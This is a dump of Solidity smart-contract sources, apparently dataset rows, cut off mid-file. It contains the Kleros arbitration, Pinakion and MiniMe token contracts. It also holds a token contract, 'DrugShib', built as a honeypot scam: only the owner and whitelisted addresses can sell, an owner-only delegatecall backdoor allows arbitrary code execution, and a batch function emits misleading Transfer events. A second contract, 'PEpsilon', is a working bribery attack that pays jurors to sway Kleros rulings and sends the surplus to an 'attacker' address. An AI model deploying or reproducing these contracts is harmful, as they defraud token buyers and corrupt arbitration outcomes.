_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DrugShib {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,286 |
pragma solidity ^0.4.24;
contract PEpsilon {
Pinakion public pinakion;
Kleros public court;
uint public balance;
uint public disputeID;
uint public desiredOutcome;
uint public epsilon;
bool public settled;
uint public maxAppeals;
mapping (address => uint) public withdraw;
address public attacker;
uint public remainingWithdraw;
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
event AmountShift(uint val, uint epsilon ,address juror);
event Log(uint val, address addr, string message);
constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public {
pinakion = _pinakion;
court = _kleros;
disputeID = _disputeID;
desiredOutcome = _desiredOutcome;
epsilon = _epsilon;
attacker = msg.sender;
maxAppeals = _maxAppeals;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
balance += _amount;
}
function withdrawJuror() {
withdrawSelect(msg.sender);
}
function withdrawSelect(address _juror) {
uint amount = withdraw[_juror];
withdraw[_juror] = 0;
balance = sub(balance, amount);
remainingWithdraw = sub(remainingWithdraw, amount);
require(pinakion.transfer(_juror, amount));
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function withdrawAttacker(){
require(settled);
if (balance > remainingWithdraw) {
uint amount = balance - remainingWithdraw;
balance = remainingWithdraw;
require(pinakion.transfer(attacker, amount));
}
}
function settle() public {
require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved);
require(!settled);
settled = true;
var (, , appeals, choices, , , ,) = court.disputes(disputeID);
if (court.currentRuling(disputeID) != desiredOutcome){
uint amountShift = court.getStakePerDraw();
uint winningChoice = court.getWinningChoice(disputeID, appeals);
uint lastRound = (appeals > maxAppeals ? maxAppeals : appeals);
if (winningChoice != 0){
uint votesLen = 0;
for (uint c = 0; c <= choices; c++) {
votesLen += court.getVoteCount(disputeID, lastRound, c);
}
emit Log(amountShift, 0x0 ,"stakePerDraw");
emit Log(votesLen, 0x0, "votesLen");
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j=0; j < votesLen; j++){
uint voteRuling = court.getVoteRuling(disputeID, lastRound, j);
address voteAccount = court.getVoteAccount(disputeID, lastRound, j);
emit Log(voteRuling, voteAccount, "voted");
if (voteRuling != winningChoice){
totalToRedistribute += amountShift;
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += amountShift + epsilon;
remainingWithdraw += amountShift + epsilon;
emit AmountShift(amountShift, epsilon, voteAccount);
}
} else {
nbCoherent++;
}
}
uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1);
for (j = 0; j < votesLen; j++){
voteRuling = court.getVoteRuling(disputeID, lastRound, j);
voteAccount = court.getVoteAccount(disputeID, lastRound, j);
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += toRedistribute;
remainingWithdraw += toRedistribute;
emit AmountShift(toRedistribute, 0, voteAccount);
}
}
}
}
}
}
pragma solidity ^0.4.24;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract Pinakion is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
Pinakion public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function Pinakion(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = Pinakion(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
Pinakion cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
Pinakion token = Pinakion(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (Pinakion) {
Pinakion newToken = new Pinakion(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RNG{
function contribute(uint _block) public payable;
function requestRN(uint _block) public payable {
contribute(_block);
}
function getRN(uint _block) public returns (uint RN);
function getUncorrelatedRN(uint _block) public returns (uint RN) {
uint baseRN=getRN(_block);
if (baseRN==0)
return 0;
else
return uint(keccak256(msg.sender,baseRN));
}
}
contract BlockHashRNG is RNG {
mapping (uint => uint) public randomNumber;
mapping (uint => uint) public reward;
function contribute(uint _block) public payable { reward[_block]+=msg.value; }
function getRN(uint _block) public returns (uint RN) {
RN=randomNumber[_block];
if (RN==0){
saveRN(_block);
return randomNumber[_block];
}
else
return RN;
}
function saveRN(uint _block) public {
if (blockhash(_block) != 0x0)
randomNumber[_block] = uint(blockhash(_block));
if (randomNumber[_block] != 0) {
uint rewardToSend = reward[_block];
reward[_block] = 0;
msg.sender.send(rewardToSend);
}
}
}
contract BlockHashRNGFallback is BlockHashRNG {
function saveRN(uint _block) public {
if (_block<block.number && randomNumber[_block]==0) {
if (blockhash(_block)!=0x0)
randomNumber[_block]=uint(blockhash(_block));
else
randomNumber[_block]=uint(blockhash(block.number-1));
}
if (randomNumber[_block] != 0) {
uint rewardToSend=reward[_block];
reward[_block]=0;
msg.sender.send(rewardToSend);
}
}
}
contract Arbitrable{
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;}
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence);
constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator{
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;}
modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;}
event AppealPossible(uint _disputeID);
event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable);
function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes _extraData) public constant returns(uint fee);
function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee);
function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status);
function currentRuling(uint _disputeID) public constant returns(uint ruling);
}
contract Kleros is Arbitrator, ApproveAndCallFallBack {
Pinakion public pinakion;
uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2;
RNG public rng;
uint public arbitrationFeePerJuror = 0.05 ether;
uint16 public defaultNumberJuror = 3;
uint public minActivatedToken = 0.1 * 1e18;
uint[5] public timePerPeriod;
uint public alpha = 2000;
uint constant ALPHA_DIVISOR = 1e4;
uint public maxAppeals = 5;
address public governor;
uint public session = 1;
uint public lastPeriodChange;
uint public segmentSize;
uint public rnBlock;
uint public randomNumber;
enum Period {
Activation,
Draw,
Vote,
Appeal,
Execution
}
Period public period;
struct Juror {
uint balance;
uint atStake;
uint lastSession;
uint segmentStart;
uint segmentEnd;
}
mapping (address => Juror) public jurors;
struct Vote {
address account;
uint ruling;
}
struct VoteCounter {
uint winningChoice;
uint winningCount;
mapping (uint => uint) voteCount;
}
enum DisputeState {
Open,
Resolving,
Executable,
Executed
}
struct Dispute {
Arbitrable arbitrated;
uint session;
uint appeals;
uint choices;
uint16 initialNumberJurors;
uint arbitrationFeePerJuror;
DisputeState state;
Vote[][] votes;
VoteCounter[] voteCounter;
mapping (address => uint) lastSessionVote;
uint currentAppealToRepartition;
AppealsRepartitioned[] appealsRepartitioned;
}
enum RepartitionStage {
Incoherent,
Coherent,
AtStake,
Complete
}
struct AppealsRepartitioned {
uint totalToRedistribute;
uint nbCoherent;
uint currentIncoherentVote;
uint currentCoherentVote;
uint currentAtStakeVote;
RepartitionStage stage;
}
Dispute[] public disputes;
event NewPeriod(Period _period, uint indexed _session);
event TokenShift(address indexed _account, uint _disputeID, int _amount);
event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount);
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
modifier onlyDuring(Period _period) {require(period == _period); _;}
modifier onlyGovernor() {require(msg.sender == governor); _;}
constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public {
pinakion = _pinakion;
rng = _rng;
lastPeriodChange = now;
timePerPeriod = _timePerPeriod;
governor = _governor;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
jurors[_from].balance += _amount;
}
function withdraw(uint _value) public {
Juror storage juror = jurors[msg.sender];
require(juror.atStake <= juror.balance);
require(_value <= juror.balance-juror.atStake);
require(juror.lastSession != session);
juror.balance -= _value;
require(pinakion.transfer(msg.sender,_value));
}
function passPeriod() public {
require(now-lastPeriodChange >= timePerPeriod[uint8(period)]);
if (period == Period.Activation) {
rnBlock = block.number + 1;
rng.requestRN(rnBlock);
period = Period.Draw;
} else if (period == Period.Draw) {
randomNumber = rng.getUncorrelatedRN(rnBlock);
require(randomNumber != 0);
period = Period.Vote;
} else if (period == Period.Vote) {
period = Period.Appeal;
} else if (period == Period.Appeal) {
period = Period.Execution;
} else if (period == Period.Execution) {
period = Period.Activation;
++session;
segmentSize = 0;
rnBlock = 0;
randomNumber = 0;
}
lastPeriodChange = now;
NewPeriod(period, session);
}
function activateTokens(uint _value) public onlyDuring(Period.Activation) {
Juror storage juror = jurors[msg.sender];
require(_value <= juror.balance);
require(_value >= minActivatedToken);
require(juror.lastSession != session);
juror.lastSession = session;
juror.segmentStart = segmentSize;
segmentSize += _value;
juror.segmentEnd = segmentSize;
}
function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[msg.sender];
VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals];
require(dispute.lastSessionVote[msg.sender] != session);
require(_ruling <= dispute.choices);
require(validDraws(msg.sender, _disputeID, _draws));
dispute.lastSessionVote[msg.sender] = session;
voteCounter.voteCount[_ruling] += _draws.length;
if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) {
voteCounter.winningCount = voteCounter.voteCount[_ruling];
voteCounter.winningChoice = _ruling;
} else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) {
voteCounter.winningChoice = 0;
}
for (uint i = 0; i < _draws.length; ++i) {
dispute.votes[dispute.appeals].push(Vote({
account: msg.sender,
ruling: _ruling
}));
}
juror.atStake += _draws.length * getStakePerDraw();
uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror;
msg.sender.transfer(feeToPay);
ArbitrationReward(msg.sender, _disputeID, feeToPay);
}
function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public {
Dispute storage dispute = disputes[_disputeID];
Juror storage inactiveJuror = jurors[_jurorAddress];
require(period > Period.Vote);
require(dispute.lastSessionVote[_jurorAddress] != session);
dispute.lastSessionVote[_jurorAddress] = session;
require(validDraws(_jurorAddress, _disputeID, _draws));
uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR;
penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance;
inactiveJuror.balance -= penality;
TokenShift(_jurorAddress, _disputeID, -int(penality));
jurors[msg.sender].balance += penality / 2;
TokenShift(msg.sender, _disputeID, int(penality / 2));
jurors[governor].balance += penality / 2;
TokenShift(governor, _disputeID, int(penality / 2));
msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror);
}
function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state == DisputeState.Open);
require(dispute.session+dispute.appeals <= session);
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
for (uint i = 0; i <= dispute.appeals; ++i) {
if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) {
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j = 0; j < dispute.votes[i].length; ++j) {
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
totalToRedistribute += penalty;
} else {
++nbCoherent;
}
}
if (nbCoherent == 0) {
jurors[governor].balance += totalToRedistribute;
TokenShift(governor, _disputeID, int(totalToRedistribute));
} else {
uint toRedistribute = totalToRedistribute / nbCoherent;
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
}
}
}
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
}
}
dispute.state = DisputeState.Executable;
}
function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state <= DisputeState.Resolving);
require(dispute.session+dispute.appeals <= session);
dispute.state = DisputeState.Resolving;
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
uint currentIterations = 0;
for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) {
if (dispute.appealsRepartitioned.length < i+1) {
dispute.appealsRepartitioned.length++;
}
if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) {
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) {
for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
dispute.appealsRepartitioned[i].totalToRedistribute += penalty;
} else {
++dispute.appealsRepartitioned[i].nbCoherent;
}
++dispute.appealsRepartitioned[i].currentIncoherentVote;
++currentIterations;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) {
if (dispute.appealsRepartitioned[i].nbCoherent == 0) {
jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute;
TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute));
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
} else {
uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent;
for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
++currentIterations;
++dispute.appealsRepartitioned[i].currentCoherentVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) {
for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
++currentIterations;
++dispute.appealsRepartitioned[i].currentAtStakeVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) {
++dispute.currentAppealToRepartition;
}
}
dispute.state = DisputeState.Executable;
}
function amountJurors(uint _disputeID) public view returns (uint nbJurors) {
Dispute storage dispute = disputes[_disputeID];
return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1;
}
function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) {
uint draw = 0;
Juror storage juror = jurors[_jurorAddress];
Dispute storage dispute = disputes[_disputeID];
uint nbJurors = amountJurors(_disputeID);
if (juror.lastSession != session) return false;
if (dispute.session+dispute.appeals != session) return false;
if (period <= Period.Draw) return false;
for (uint i = 0; i < _draws.length; ++i) {
if (_draws[i] <= draw) return false;
draw = _draws[i];
if (draw > nbJurors) return false;
uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize;
require(position >= juror.segmentStart);
require(position < juror.segmentEnd);
}
return true;
}
function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) {
uint16 nbJurors = extraDataToNbJurors(_extraData);
require(msg.value >= arbitrationCost(_extraData));
disputeID = disputes.length++;
Dispute storage dispute = disputes[disputeID];
dispute.arbitrated = Arbitrable(msg.sender);
if (period < Period.Draw)
dispute.session = session;
else
dispute.session = session+1;
dispute.choices = _choices;
dispute.initialNumberJurors = nbJurors;
dispute.arbitrationFeePerJuror = arbitrationFeePerJuror;
dispute.votes.length++;
dispute.voteCounter.length++;
DisputeCreation(disputeID, Arbitrable(msg.sender));
return disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) {
super.appeal(_disputeID,_extraData);
Dispute storage dispute = disputes[_disputeID];
require(msg.value >= appealCost(_disputeID, _extraData));
require(dispute.session+dispute.appeals == session);
require(dispute.arbitrated == msg.sender);
dispute.appeals++;
dispute.votes.length++;
dispute.voteCounter.length++;
}
function executeRuling(uint disputeID) public {
Dispute storage dispute = disputes[disputeID];
require(dispute.state == DisputeState.Executable);
dispute.state = DisputeState.Executed;
dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice);
}
function arbitrationCost(bytes _extraData) public view returns (uint fee) {
return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) {
Dispute storage dispute = disputes[_disputeID];
if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT;
return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror;
}
function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) {
if (_extraData.length < 2)
return defaultNumberJuror;
else
return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]);
}
function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) {
return (alpha * minActivatedToken) / ALPHA_DIVISOR;
}
function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) {
return disputes[_disputeID].votes[_appeals][_voteID].account;
}
